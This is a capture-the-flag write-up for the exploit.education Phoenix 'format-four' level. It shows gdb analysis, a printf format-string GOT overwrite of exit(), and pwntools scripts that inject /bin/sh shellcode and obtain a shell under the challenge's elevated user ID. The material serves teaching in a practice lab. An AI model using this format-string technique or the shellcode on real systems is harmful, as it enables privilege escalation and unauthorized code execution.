phoenix - format 4
Lets list our files using ls -la
,
user@phoenix-amd64:~$ ls -la
total 28
drwxr-xr-x 2 user user 4096 Jun 16 05:30 .
drwxr-xr-x 3 root root 4096 Jan 13 2019 ..
-rw-r--r-- 1 user user 220 Jan 13 2019 .bash_logout
-rw-r--r-- 1 user user 3526 Jan 13 2019 .bashrc
-rw-r--r-- 1 user user 675 Jan 13 2019 .profile
-rwxr-xr-x 1 user user 6072 Jun 16 05:30 format-four
Lets analyse the file type of the binary using file
command,
user@phoenix-amd64:~$ file format-four
format-four: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1, not stripped
So our binary is a not stripped
binary
Lets try running our binary,
user@phoenix-amd64:~$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
monish
monish
It returns the same input from bounce()
function (previously solved), so it expects a different input
From the challenge description,
/*
* phoenix/format-four, by https://exploit.education
*
* Can you affect code execution? Once you've got congratulations() to
* execute, can you then execute your own shell code?
*
* Did you get a hair cut?
* No, I got all of them cut.
*
*/
It seems like we have to make use of GOT
and shellcode
We are trying this on our 32 bit
binary, because our 64 bit
binary has null bytes \x00
in its address values
Here, GOT Overwrite
can only be used to redirect our function from a targeted GOT address
But inorder to run our shellcode
we need to point the shellcode address to our targeted GOT address
Lets find the GOT addresses used by our binary,
user@phoenix-amd64:~$ objdump format-four -R
format-four: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080497d8 R_386_JUMP_SLOT printf
080497dc R_386_JUMP_SLOT puts
080497e0 R_386_JUMP_SLOT read
080497e4 R_386_JUMP_SLOT exit
080497e8 R_386_JUMP_SLOT __libc_start_main
Lets disassemble our binary and get some information,
Listing functions inside our binary,
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x080482d8 _init
0x08048300 printf@plt
0x08048310 puts@plt
0x08048320 read@plt
0x08048330 exit@plt
0x08048340 __libc_start_main@plt
0x08048350 _start
0x0804836b _start_c
0x08048390 deregister_tm_clones
0x080483d0 register_tm_clones
0x08048420 __do_global_dtors_aux
0x080484a0 frame_dummy
0x080484e5 bounce
0x08048503 congratulations
0x08048523 main
0x08048590 __do_global_ctors_aux
0x080485c1 _fini
Disassembling main()
,
(gdb) disas main
Dump of assembler code for function main:
0x08048523 <+0>: lea ecx,[esp+0x4]
0x08048527 <+4>: and esp,0xfffffff0
0x0804852a <+7>: push DWORD PTR [ecx-0x4]
0x0804852d <+10>: push ebp
0x0804852e <+11>: mov ebp,esp
0x08048530 <+13>: push ecx
0x08048531 <+14>: sub esp,0x1004
0x08048537 <+20>: sub esp,0xc
0x0804853a <+23>: push 0x8048600
0x0804853f <+28>: call 0x8048310 <puts@plt>
0x08048544 <+33>: add esp,0x10
0x08048547 <+36>: sub esp,0x4
0x0804854a <+39>: push 0xfff
0x0804854f <+44>: lea eax,[ebp-0x1008]
0x08048555 <+50>: push eax
0x08048556 <+51>: push 0x0
0x08048558 <+53>: call 0x8048320 <read@plt>
0x0804855d <+58>: add esp,0x10
0x08048560 <+61>: test eax,eax
0x08048562 <+63>: jg 0x804856e <main+75>
0x08048564 <+65>: sub esp,0xc
0x08048567 <+68>: push 0x1
0x08048569 <+70>: call 0x8048330 <exit@plt>
0x0804856e <+75>: sub esp,0xc
0x08048571 <+78>: lea eax,[ebp-0x1008]
0x08048577 <+84>: push eax
0x08048578 <+85>: call 0x80484e5 <bounce>
0x0804857d <+90>: add esp,0x10
0x08048580 <+93>: mov eax,0x0
0x08048585 <+98>: mov ecx,DWORD PTR [ebp-0x4]
0x08048588 <+101>: leave
0x08048589 <+102>: lea esp,[ecx-0x4]
0x0804858c <+105>: ret
End of assembler dump.
Disassembling bounce()
,
(gdb) disas bounce
Dump of assembler code for function bounce:
0x080484e5 <+0>: push ebp
0x080484e6 <+1>: mov ebp,esp
0x080484e8 <+3>: sub esp,0x8
0x080484eb <+6>: sub esp,0xc
0x080484ee <+9>: push DWORD PTR [ebp+0x8]
0x080484f1 <+12>: call 0x8048300 <printf@plt>
0x080484f6 <+17>: add esp,0x10
0x080484f9 <+20>: sub esp,0xc
0x080484fc <+23>: push 0x0
0x080484fe <+25>: call 0x8048330 <exit@plt>
End of assembler dump.
Disassembling congratulations()
,
(gdb) disas congratulations
Dump of assembler code for function congratulations:
0x08048503 <+0>: push ebp
0x08048504 <+1>: mov ebp,esp
0x08048506 <+3>: sub esp,0x8
0x08048509 <+6>: sub esp,0xc
0x0804850c <+9>: push 0x80485d0
0x08048511 <+14>: call 0x8048310 <puts@plt>
0x08048516 <+19>: add esp,0x10
0x08048519 <+22>: sub esp,0xc
0x0804851c <+25>: push 0x0
0x0804851e <+27>: call 0x8048330 <exit@plt>
End of assembler dump.
So this function uses read()
to get data in buffer
Buffer space is allocated by 0x0804854f <+44>: lea eax,[ebp-0x1008]
Lets find the address of buffer
,
(gdb) b *0x08048578
Breakpoint 1 at 0x8048578
(gdb) r
Starting program: /opt/phoenix/i486/format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
ABCD
Breakpoint 1, 0x08048578 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffc710 → "ABCD"
$ebx : 0xf7ffb000 → 0x0008dedc
$ecx : 0xffffc710 → "ABCD"
$edx : 0xfff
$esp : 0xffffc700 → 0xffffc710 → "ABCD"
$ebp : 0xffffd718 → 0xffffd7ac → 0xffffd8da → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$esi : 0xffffd7a4 → 0xffffd8bc → "/opt/phoenix/i486/format-four"
$edi : 0x1
$eip : 0x08048578 → 0xffff68e8 → 0x00000000
$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffc700│+0x0000: 0xffffc710 → "ABCD" ← $esp
0xffffc704│+0x0004: 0xffffc710 → "ABCD"
0xffffc708│+0x0008: 0x00000fff
0xffffc70c│+0x000c: 0x00000000
0xffffc710│+0x0010: "ABCD"
0xffffc714│+0x0014: 0x0000000a
0xffffc718│+0x0018: 0x00000000
0xffffc71c│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804856e <main+75> sub esp, 0xc
0x8048571 <main+78> lea eax, [ebp-0x1008]
0x8048577 <main+84> push eax
→ 0x8048578 <main+85> call 0x80484e5 <bounce>
↳ 0x80484e5 <bounce+0> push ebp
0x80484e6 <bounce+1> mov ebp, esp
0x80484e8 <bounce+3> sub esp, 0x8
0x80484eb <bounce+6> sub esp, 0xc
0x80484ee <bounce+9> push DWORD PTR [ebp+0x8]
0x80484f1 <bounce+12> call 0x8048300 <printf@plt>
─────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
bounce (
[sp + 0x0] = 0xffffc710 → "ABCD",
[sp + 0x4] = 0xffffc710 → "ABCD",
[sp + 0x8] = 0x00000fff,
[sp + 0xc] = 0x00000000
)
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "format-four", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048578 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────
(gdb) x/s $ebp-0x1008
0xffffc710: "ABCD\n"
So our buffer
starts at 0xffffc710
If we pass our shellcode
into the buffer
, we should point it here to make a successful exploit
Lets check the security mitigations of this binary,
(gdb) vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /opt/phoenix/i486/format-four
0x08049000 0x0804a000 0x00000000 rwx /opt/phoenix/i486/format-four
0xf7f69000 0xf7f6b000 0x00000000 r-- [vvar]
0xf7f6b000 0xf7f6d000 0x00000000 r-x [vdso]
0xf7f6d000 0xf7ffa000 0x00000000 r-x /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffa000 0xf7ffb000 0x0008c000 r-x /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffb000 0xf7ffc000 0x0008d000 rwx /opt/phoenix/i486-linux-musl/lib/libc.so
0xf7ffc000 0xf7ffe000 0x00000000 rwx
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
(gdb) checksec
[+] checksec for '/home/user/format-four'
Canary : No
NX : No
PIE : No
Fortify : No
RelRO : No
So our buffer
address 0xffffc710
lies in the region of stack
and NX bit
is disabled
It is perfect to have execution of our shellcode in buffer
Lets view the source code for proper understanding,
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
void bounce(char *str) {
printf(str);
exit(0);
}
void congratulations() {
printf("Well done, you're redirected code execution!\n");
exit(0);
}
int main(int argc, char **argv) {
char buf[4096];
printf("%s\n", BANNER);
if (read(0, buf, sizeof(buf) - 1) <= 0) {
exit(EXIT_FAILURE);
}
bounce(buf);
}
Here GOT address of exit()
would be best to use, because it is called after performing all our needs
GOT OVERWRITE
Lets overwrite GOT address of exit()
with function address of congratulations()
to call it
GOT address of exit()
= 0x080497e4
Function address of congratulations()
= 0x08048503
Lets try to write it with the exploit technique used in previous challenge
user@phoenix-amd64:~$ cat exploit.py
from pwn import *
got_exit=0x080497e4
#got_exit=0x08049844
cong_addr=0x08048503
buf=""
buf+=p32(got_exit)
buf+=p32(got_exit+0x1)
buf+=p32(got_exit+0x2)
buf+=p32(got_exit+0x3)
buf+='%p'*11
buf+='A'*175
buf+='%n'
buf+='A'*130
buf+='%n'
buf+='A'*127
buf+='%n'
buf+='A'*4
buf+='%n'
print(buf)
Lets see, if this overwrites the exit()
GOT address with congratulations()
,
user@phoenix-amd64:~$ python exploit.py | ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
0000xf7f81cf70xf7ffb0000xffffd7580x804857d0xffffc7500xffffc7500xfff0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Well done, you're redirected code execution!
.....
It does!!
SHELLCODE
Now lets place our shellcode and change the address values,
To spawn a shell lets use
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
Lets craft the exploit,
user@phoenix-amd64:~$ cat exploit.py
from pwn import *
got_exit=0x080497e4
#got_exit=0x08049844
buffer_addr=0xffffc710
nops='\x90'
shellcode='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
buf=""
buf+=p32(got_exit)
buf+=p32(got_exit+0x1)
buf+=p32(got_exit+0x2)
buf+=p32(got_exit+0x3)
buf+=nops*100
buf+=shellcode
buf+='%p'*11
buf+='A'*124
buf+='%n'
buf+='A'*119
buf+='%n'
buf+='A'*56
buf+='%n'
buf+='A'*256
buf+='%n'
print(buf)
Lets try running this,
user@phoenix-amd64:~$ cp exploit.py /tmp
user@phoenix-amd64:~$ (python /tmp/exploit.py;cat) | /opt/phoenix/i486/format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
1Ph//shh/bin�°
̀1@̀0000xf7f81cf70xf7ffb0000xffffd7180x804857d0xffffc7100xffffc7100xfff0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
id
uid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four) egid=511(phoenix-i386-format-four) groups=511(phoenix-i386-format-four),27(sudo),1000(user)
whoami
phoenix-i386-format-four
Done! We have completed “format-four” challenge